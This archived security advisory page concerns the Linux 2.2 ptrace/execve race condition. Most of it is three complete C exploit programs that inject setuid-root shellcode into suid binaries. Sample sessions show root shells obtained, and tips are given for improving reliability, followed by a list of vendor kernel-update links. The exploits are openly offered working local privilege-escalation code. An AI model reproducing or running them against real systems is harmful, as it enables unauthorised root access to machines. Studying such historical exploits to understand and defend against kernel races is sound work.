Vulnerability
ptrace/execve (kernel)
Affected
Linux
Description
Wojciech Purczynski found following. Here is exploit for
ptrace/execve race condition bug in Linux kernels up to 2.2.18.
It works even on openwall patched kernels (including broken fix
in 2.2.18ow4) if you use address of BSS section in memory (use
objdump -h /suid/binary to get .bss section address).
It does not use brute-force! It does only one attemt, parent
process detects exact moment of context-switch after child goes
sleep in execve.
If you have some problems, ensure that suid binary you want to
exploit does not exist in disk cache. For more info read
comments in the source code.
It has been broken in two places!!
Sample output:
[wp@wp /tmp]$ uname -a
Linux wp.local.elzabsoft.pl 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686
unknown
[wp@wp /tmp]$ objdump -h /bin/su | grep .bss
8 .rel.bss 00000030 08048ca8 08048ca8 00000ca8 2**2
21 .bss 000000d4 0804bf04 0804bf04 00002f04 2**2
[wp@wp /tmp]$ find / >dev/null 2>&1
[wp@wp /tmp]$ ./epcs /bin/su 0x0804bf04
Bug exploited successfully.
sh-2.03#
It works with any suid binary.
/*
* epcs v2
* ~~~~~~~
* exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
*
* (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl>
*
* This sploit does _not_ use brute force. It does not need that.
* It does only one attemt to sploit the race condition in execve.
* Parent process waits for a context-switch that occur after
* child task sleep in execve.
*
* It should work even on openwall-patched kernels (I haven't tested it).
*
* Compile it:
* cc epcs.c -o epcs
* Usage:
* ./epcs [victim] [address]
*
* It gives instant root shell with any of a suid binaries.
*
* If it does not work, try use some methods to ensure that execve
* would sleep while loading binary file into memory,
*
* i.e.: cat /usr/lib/* >/dev/null 2>&1
*
* Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
* This exploit does not work on 2.4.x because kernel won't set suid
* privileges if user ptraces a binary.
* But it is still exploitable on these kernels.
*
* Thanks to Bulba (he made me to take a look at this bug ;) )
* Greetings to SigSegv team.
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <signal.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <limits.h>
#include <errno.h>
#include <stdlib.h>
#define CS_SIGNAL SIGUSR1
#define VICTIM "/usr/bin/passwd"
#define SHELL "/bin/sh"
#define SHELL_LEN "\x07" /* strlen(SHELL) in hex */
#define SHELLCODE 0x00000000 /* address to put shellcode at */
/*
* This is my private shellcode.
* Offset 0x0a - executable's filename length.
*/
char shellcode[1024]=
"\xeb\xfe"
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\x31\xc0\xb0\x2e\xcd\x80"
"\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */
"\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24"
"\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
"\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
"\xff" SHELL ;
volatile int cs_detector=0;
void cs_sig_handler(int sig)
{
cs_detector=1;
}
void do_victim(char * filename)
{
while (!cs_detector) ;
kill(getppid(), CS_SIGNAL);
execl(filename, filename, NULL);
perror("execl");
exit(-1);
}
int check_execve(pid_t victim, char * filename)
{
char path[PATH_MAX+1];
char link[PATH_MAX+1];
int res;
snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
if (readlink(path, link, sizeof(link)-1)<0) {
perror("readlink");
return -1;
}
link[sizeof(link)-1]='\0';
res=!strcmp(link, filename);
if (res) fprintf(stderr, "Child slept outside of execve\n");
return res;
}
int main(int argc, char * argv[])
{
char * filename=VICTIM;
pid_t victim;
int error, i;
unsigned long eip=SHELLCODE;
struct user_regs_struct regs;
if (argc>1) filename=argv[1];
if (argc>2) eip=strtoul(argv[2], NULL, 16);
signal(CS_SIGNAL, cs_sig_handler);
victim=fork();
if (victim<0) {
perror("fork: victim");
exit(-1);
}
if (victim==0) do_victim(filename);
kill(victim, CS_SIGNAL);
while (!cs_detector) ;
if (ptrace(PTRACE_ATTACH, victim)) {
perror("ptrace: PTRACE_ATTACH");
goto exit;
}
if (check_execve(victim, filename))
goto exit;
(void)waitpid(victim, NULL, WUNTRACED);
if (ptrace(PTRACE_CONT, victim, 0, 0)) {
perror("ptrace: PTRACE_CONT");
goto exit;
}
(void)waitpid(victim, NULL, WUNTRACED);
if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
perror("ptrace: PTRACE_GETREGS");
goto exit;
}
regs.eip=eip;
for (i=0; i<strlen(shellcode); i+=4) {
if (ptrace(PTRACE_POKEDATA, victim, regs.eip+i,
*(int*)(shellcode+i))) {
perror("ptrace: PTRACE_POKETEXT");
goto exit;
}
}
if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
perror("ptrace: PTRACE_GETREGS");
goto exit;
}
fprintf(stderr, "Bug exploited successfully.\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
perror("ptrace: PTRACE_CONT");
goto exit;
}
(void)waitpid(victim, NULL, 0);
return 0;
exit:
fprintf(stderr, "Error!\n");
kill(victim, SIGKILL);
return -1;
}
Even with the original exploit code there is a 99.99% chance to
gain root access, if you change the line:
regs.eip=eip;
to:
regs.eip=regs.esp;
and don't call objdump on the targetted binary before (use only
the binary name as argument to epcs). At least with 'exotic' suid
binaries like uux or gpasswd which are *never* in the disk cache
you will get instant root too.
paul@ps:/usr/home/paul/tmp2 > ./epcs /usr/bin/gpasswd
Bug exploited successfully.
sh-2.04# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.04#
Clever admins would chmod 4511 their suid binaries.
As always, there are always ways to improve things. This version
of the exploit posted here previously overwrites the dl _start
routine and doesnt modify eip. This will help on stack non-exec
systems and doesnt require you to calculate the bss offset. Tim
Yardley didn't test it, but this should still work on a stackguard
compiled program as well.
/*
* epcs2 (improved by lst [liquid@dqc.org])
* ~~~~~~~
* exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
*
* originally by:
* (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl>
*
* improved by:
* lst [liquid@dqc.org]
*
* This sploit does _not_ use brute force. It does not need that.
* It does only one attemt to sploit the race condition in execve.
* Parent process waits for a context-switch that occur after
* child task sleep in execve.
*
* It should work even on openwall-patched kernels (I haven't tested it).
*
* Compile it:
* cc epcs.c -o epcs
* Usage:
* ./epcs [victim]
*
* It gives instant root shell with any of a suid binaries.
*
* If it does not work, try use some methods to ensure that execve
* would sleep while loading binary file into memory,
*
* i.e.: cat /usr/lib/* >/dev/null 2>&1
*
* Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
* This exploit does not work on 2.4.x because kernel won't set suid
* privileges if user ptraces a binary.
* But it is still exploitable on these kernels.
*
* Thanks to Bulba (he made me to take a look at this bug ;) )
* Greetings to SigSegv team.
*
* -- d00t
* improved by lst [liquid@dqc.org]
* props to kevin for most of the work
*
* now works on stack non-exec systems with some neat trickery for the automated
* method, ie. no need to find the bss segment via objdump
*
* particularly it now rewrites the code instruction sets in the
* dynamic linker _start segment and continues execution from there.
*
* an aside, due to the fact that the code self-modified, it wouldnt work
* quite correctly on a stack non-exec system without playing directly with
* the bss segment (ie no regs.eip = regs.esp change). this is much more
* automated. however, do note that the previous version did not trigger stack
* non-exec warnings due to how it was operating. note that the regs.eip = regs.esp
* method will break on stack non-exec systems.
*
* as always.. enjoy.
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <signal.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <limits.h>
#include <errno.h>
#include <stdlib.h>
#define CS_SIGNAL SIGUSR1
#define VICTIM "/usr/bin/passwd"
#define SHELL "/bin/sh"
/*
* modified simple shell code with some trickery (hand tweaks)
*/
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\x31\xc0\xb0\x2e\xcd\x80"
"\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */
"\x90\x90\x90\x89\xe1\x8d\x54\x24" /* lets be tricky */
"\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
"\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
"\xff" SHELL "\x00\x00\x00" ; /* pad me */
volatile int cs_detector=0;
void cs_sig_handler(int sig)
{
cs_detector=1;
}
void do_victim(char * filename)
{
while (!cs_detector) ;
kill(getppid(), CS_SIGNAL);
execl(filename, filename, NULL);
perror("execl");
exit(-1);
}
int check_execve(pid_t victim, char * filename)
{
char path[PATH_MAX+1];
char link[PATH_MAX+1];
int res;
snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
if (readlink(path, link, sizeof(link)-1)<0) {
perror("readlink");
return -1;
}
link[sizeof(link)-1]='\0';
res=!strcmp(link, filename);
if (res) fprintf(stderr, "child slept outside of execve\n");
return res;
}
int main(int argc, char * argv[])
{
char * filename=VICTIM;
pid_t victim;
int error, i;
struct user_regs_struct regs;
/* take our command args if you wanna play with other progs */
if (argc>1) filename=argv[1];
signal(CS_SIGNAL, cs_sig_handler);
victim=fork();
if (victim<0) {
perror("fork: victim");
exit(-1);
}
if (victim==0) do_victim(filename);
kill(victim, CS_SIGNAL);
while (!cs_detector) ;
if (ptrace(PTRACE_ATTACH, victim)) {
perror("ptrace: PTRACE_ATTACH");
goto exit;
}
if (check_execve(victim, filename))
goto exit;
(void)waitpid(victim, NULL, WUNTRACED);
if (ptrace(PTRACE_CONT, victim, 0, 0)) {
perror("ptrace: PTRACE_CONT");
goto exit;
}
(void)waitpid(victim, NULL, WUNTRACED);
if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
perror("ptrace: PTRACE_GETREGS");
goto exit;
}
/* make sure that last null is in there */
for (i=0; i<=strlen(shellcode); i+=4) {
if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,
*(int*)(shellcode+i))) {
perror("ptrace: PTRACE_POKETEXT");
goto exit;
}
}
if (ptrace(PTRACE_SETREGS, victim, 0, ®s)) {
perror("ptrace: PTRACE_SETREGS");
goto exit;
}
fprintf(stderr, "bug exploited successfully.\nenjoy!\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
perror("ptrace: PTRACE_DETACH");
goto exit;
}
(void)waitpid(victim, NULL, 0);
return 0;
exit:
fprintf(stderr, "d0h! error!\n");
kill(victim, SIGKILL);
return -1;
}
As far as Paul Starzetz understands it, the race condition exists
between preparing the bprm structure inside the kernel (which
will carry the suid/sgid credentials) and setting the effective
credentials for current proccess. While playing around with the
exploit, he found that the following code will do the job much
effectivelly. The idea is to consume as much as possible physical
memory and leave the child proces with async i/o and open (close
on exec) file descriptors. Of course, reading and writing the big
file will affect the file cache too.
The code will work even repeatedly on the same suid binary (as
far as tested on 4 different boxes, problems encountered if
creating the file on reiserfs...), it may iterate few times:
paul@ps:/usr/home/paul/tmp2 > ./sig /bin/su
Memaval: 264122368
Wait for ./dupa1151845033.dat... 1
SUCCESS !
EAX: 0 EBX: 0 ECX: 0 EDX: 0
ESI: 0 EDI: 0 EBP: 0 OAX: b
EFL: 246 ESP: 7ffff7b0 EIP: 7ffff7b0
sh-2.04#
The "EAX: 0" line indicates the successfull call to
execve() and the value 0xb in OAX that we attached while execve()
was called.
/********************************************************************************
* *
* Ptrace execve race exploit *
* by IhaQueR *
* basic idea by Wojciech Purczynski *
* (note, it is still broken) *
* *
********************************************************************************/
#include <unistd.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <signal.h>
#include <sys/wait.h>
#include <asm/ptrace.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define SHELL "/bin/sh"
#define SHELL_LEN "\x06"
char shellcode[1024]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\xb0\x2e\xcd\x80"
"\x31\xc0\x50\xeb\x17\x8b\x1c\x24"
"\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24"
"\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
"\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
"\xff" SHELL ;
volatile int sig=0;
volatile int parent=0;
volatile int child=0;
void chldstart(int v)
{
sig=1;
}
dumpregs(volatile struct user_regs_struct* pt)
{
printf("\n");
printf("EAX: %8x\tEBX: %8x\tECX: %8x\tEDX: %8x\n", pt->eax, pt->ebx, pt->ecx, pt->edx);
printf("ESI: %8x\tEDI: %8x\tEBP: %8x\tOAX: %8x\n", pt->esi, pt->edi, pt->ebp, pt->orig_eax);
printf("EFL: %8x\tESP: %8x\tEIP: %8x\n", pt->eflags, pt->esp, pt->eip);
printf("\n");
fflush(stdout);
}
main(int ac, char** av)
{
int res;
volatile struct user_regs_struct pt;
int i;
char* buf;
FILE* fp;
char tmp[1024];
char tmpfile[1024];
unsigned memaval=0;
if(ac < 2) {
printf("\nUsage: %s <suid bin> [<mem aval>]]\n\n", av[0]);
exit(1);
}
if(ac > 2) {
memaval=atoi(av[2]);
}
setsid();
setpgrp();
srand(time(NULL));
sprintf(tmpfile, "./dupa%08d.dat", rand());
system("rm -rf dupa*.dat");
parent=getpid();
// get mem
if(memaval <= 0) {
fp = fopen("/proc/meminfo", "r");
if(i<0) {printf("\n"); perror("meminfo"); exit(1);}
fgets(tmp, 1023, fp);
fscanf(fp, "%s %d", tmp, &memaval);
fclose(fp);
}
signal(SIGUSR1, &chldstart);
printf("\nMemaval: %d\n", memaval);
printf("\nWait for %s... ", tmpfile);
fflush(stdout);
i=0;
while(1) {
i++;
sig=0;
if((child=fork())) {
kill(child, SIGUSR1);
while(!sig);
res = ptrace(PTRACE_ATTACH, child);
if(res) {
kill(child, SIGKILL);
waitpid(child, NULL, 0);
fprintf(stdout, " %4i ", i);
fflush(stdout);
continue;
}
waitpid(child, NULL, WUNTRACED);
res = ptrace(PTRACE_SYSCALL, child, 0, 0);
if(res) {perror("syscall"); kill(0, SIGKILL); exit(1); }
waitpid(child, NULL, WUNTRACED);
res = ptrace(PT_GETREGS, child, 0, &pt);
if(res) {printf("\n"); perror("getregs"); kill(0, SIGKILL); exit(1);}
pt.eip=pt.esp;
if(pt.eax) {
res = ptrace(PT_DETACH, child, 0, 0);
kill(child, SIGKILL);
waitpid(child, NULL, 0);
fprintf(stdout, " BAD EAX ");
fflush(stdout);
continue;
}
for (i=0; i<strlen(shellcode); i+=4) {
if(ptrace(PTRACE_POKEDATA, child, pt.eip+i,
*(int*)(shellcode+i))) {
perror("ptrace: PTRACE_POKETEXT");
kill(0, SIGKILL);
exit(1);
}
}
if (ptrace(PTRACE_GETREGS, child, 0, &pt)) {
perror("ptrace: PTRACE_GETREGS");
kill(0, SIGKILL);
exit(1);
}
printf("\n\nSUCCESS !\n");
dumpregs(&pt);
res = ptrace(PT_DETACH, child, 0, 0);
if(res) {printf("\n"); perror("detach"); exit(1); }
waitpid(child, NULL, 0);
system("rm -rf dupa*.dat");
kill(0, SIGUSR1);
kill(0, SIGKILL);
exit(1);
}
else {
res = setpriority(PRIO_PROCESS, getpid(), 20);
if(res) {printf("\n"); perror("priority"); exit(1); }
while(!sig);
buf=(char*)malloc(memaval);
if(!buf) {printf("\n"); perror("malloc"); exit(1); }
i=open(tmpfile, O_RDWR|O_CREAT|O_TRUNC, S_IRWXU);
if(i>0) {
write(i, buf, memaval);
fcntl(i, F_SETFD, 1);
fcntl(i, F_SETFL, O_NONBLOCK);
read(i, buf, memaval);
}
(void)kill(parent, SIGUSR1);
(void)execl(av[1], av[1], "--blah", NULL);
}
}
printf("\n");
kill(0, SIGUSR1);
}
Solution
For Immunix OS:
http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-2.2.19-3_6.x_imnx.i386.rpm
http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-2.2.19-3_6.x_imnx.i586.rpm
http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-2.2.19-3_6.x_imnx.i686.rpm
http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-BOOT-2.2.19-3_6.x_imnx.i386.rpm
http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-doc-2.2.19-3_6.x_imnx.i386.rpm
http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-pcmcia-cs-2.2.19-3_6.x_imnx.i386.rpm
http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-smp-2.2.19-3_6.x_imnx.i386.rpm
http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-smp-2.2.19-3_6.x_imnx.i586.rpm
http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-smp-2.2.19-3_6.x_imnx.i686.rpm
http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-source-2.2.19-3_6.x_imnx.i386.rpm
http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-utils-2.2.19-3_6.x_imnx.i386.rpm
http://immunix.org/ImmunixOS/6.2/updates/SRPMS/kernel-2.2.19-3_6.x_imnx.src.rpm
http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-2.2.19-3_imnx.i386.rpm
http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-2.2.19-3_imnx.i586.rpm
http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-2.2.19-3_imnx.i686.rpm
http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-BOOT-2.2.19-3_imnx.i386.rpm
http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-doc-2.2.19-3_imnx.i386.rpm
http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-pcmcia-cs-2.2.19-3_imnx.i386.rpm
http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-smp-2.2.19-3_imnx.i386.rpm
http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-smp-2.2.19-3_imnx.i586.rpm
http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-smp-2.2.19-3_imnx.i686.rpm
http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-source-2.2.19-3_imnx.i386.rpm
http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-utils-2.2.19-3_imnx.i386.rpm
http://immunix.org/ImmunixOS/7.0/updates/SRPMS/kernel-2.2.19-3_imnx.src.rpm
For Trustix Secure Linux:
http://www.trustix.net/pub/Trustix/updates/
ftp://ftp.trustix.net/pub/Trustix/updates/
For Progeny Linux Systems:
http://archive.progeny.com/progeny/updates/newton/kernel-image-2.2.19_1.81_i386.deb
For RedHat:
ftp://updates.redhat.com/6.2/en/os/SRPMS/nfs-utils-0.3.1-0.6.x.src.rpm
ftp://updates.redhat.com/6.2/en/os/SRPMS/mount-2.10r-0.6.x.src.rpm
ftp://updates.redhat.com/6.2/en/os/SRPMS/kernel-2.2.19-6.2.1.src.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/nfs-utils-0.3.1-0.6.x.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/mount-2.10r-0.6.x.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/losetup-2.10r-0.6.x.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/kernel-2.2.19-6.2.1.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/kernel-BOOT-2.2.19-6.2.1.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/kernel-doc-2.2.19-6.2.1.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/kernel-headers-2.2.19-6.2.1.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/kernel-smp-2.2.19-6.2.1.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/kernel-source-2.2.19-6.2.1.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/kernel-utils-2.2.19-6.2.1.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/kernel-enterprise-2.2.19-6.2.1.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/i386/nfs-utils-0.3.1-0.6.x.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/mount-2.10r-0.6.x.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/losetup-2.10r-0.6.x.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/kernel-2.2.19-6.2.1.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/kernel-BOOT-2.2.19-6.2.1.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/kernel-doc-2.2.19-6.2.1.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/kernel-headers-2.2.19-6.2.1.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/kernel-ibcs-2.2.19-6.2.1.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/kernel-pcmcia-cs-2.2.19-6.2.1.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/kernel-smp-2.2.19-6.2.1.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/kernel-source-2.2.19-6.2.1.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/kernel-utils-2.2.19-6.2.1.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i586/kernel-2.2.19-6.2.1.i586.rpm
ftp://updates.redhat.com/6.2/en/os/i586/kernel-smp-2.2.19-6.2.1.i586.rpm
ftp://updates.redhat.com/6.2/en/os/i686/kernel-2.2.19-6.2.1.i686.rpm
ftp://updates.redhat.com/6.2/en/os/i686/kernel-smp-2.2.19-6.2.1.i686.rpm
ftp://updates.redhat.com/6.2/en/os/i686/kernel-enterprise-2.2.19-6.2.1.i686.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/nfs-utils-0.3.1-0.6.x.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/mount-2.10r-0.6.x.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/losetup-2.10r-0.6.x.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/kernel-2.2.19-6.2.1.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/kernel-2.2.19-6.2.1.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/kernel-BOOT-2.2.19-6.2.1.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/kernel-BOOT-2.2.19-6.2.1.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/kernel-doc-2.2.19-6.2.1.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/kernel-headers-2.2.19-6.2.1.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/kernel-smp-2.2.19-6.2.1.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/kernel-smp-2.2.19-6.2.1.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/kernel-source-2.2.19-6.2.1.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/kernel-utils-2.2.19-6.2.1.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/kernel-enterprise-2.2.19-6.2.1.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/kernel-enterprise-2.2.19-6.2.1.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc64/kernel-2.2.19-6.2.1.sparc64.rpm
ftp://updates.redhat.com/6.2/en/os/sparc64/kernel-BOOT-2.2.19-6.2.1.sparc64.rpm
ftp://updates.redhat.com/6.2/en/os/sparc64/kernel-smp-2.2.19-6.2.1.sparc64.rpm
ftp://updates.redhat.com/6.2/en/os/sparc64/kernel-enterprise-2.2.19-6.2.1.sparc64.rpm
ftp://updates.redhat.com/7.0/en/os/SRPMS/nfs-utils-0.3.1-6.src.rpm
ftp://updates.redhat.com/7.0/en/os/SRPMS/mount-2.10r-5.src.rpm
ftp://updates.redhat.com/7.0/en/os/SRPMS/kernel-2.2.19-7.0.1.src.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/nfs-utils-0.3.1-6.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/mount-2.10r-5.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/losetup-2.10r-5.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/kernel-2.2.19-7.0.1.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/kernel-BOOT-2.2.19-7.0.1.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/kernel-doc-2.2.19-7.0.1.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/kernel-smp-2.2.19-7.0.1.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/kernel-utils-2.2.19-7.0.1.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/kernel-enterprise-2.2.19-7.0.1.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/i386/nfs-utils-0.3.1-6.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/mount-2.10r-5.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/losetup-2.10r-5.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/kernel-2.2.19-7.0.1.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/kernel-BOOT-2.2.19-7.0.1.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/kernel-doc-2.2.19-7.0.1.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/kernel-ibcs-2.2.19-7.0.1.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/kernel-pcmcia-cs-2.2.19-7.0.1.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/kernel-smp-2.2.19-7.0.1.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/kernel-utils-2.2.19-7.0.1.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i586/kernel-2.2.19-7.0.1.i586.rpm
ftp://updates.redhat.com/7.0/en/os/i586/kernel-smp-2.2.19-7.0.1.i586.rpm
ftp://updates.redhat.com/7.0/en/os/i686/kernel-2.2.19-7.0.1.i686.rpm
ftp://updates.redhat.com/7.0/en/os/i686/kernel-smp-2.2.19-7.0.1.i686.rpm
ftp://updates.redhat.com/7.0/en/os/i686/kernel-enterprise-2.2.19-7.0.1.i686.rpm
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
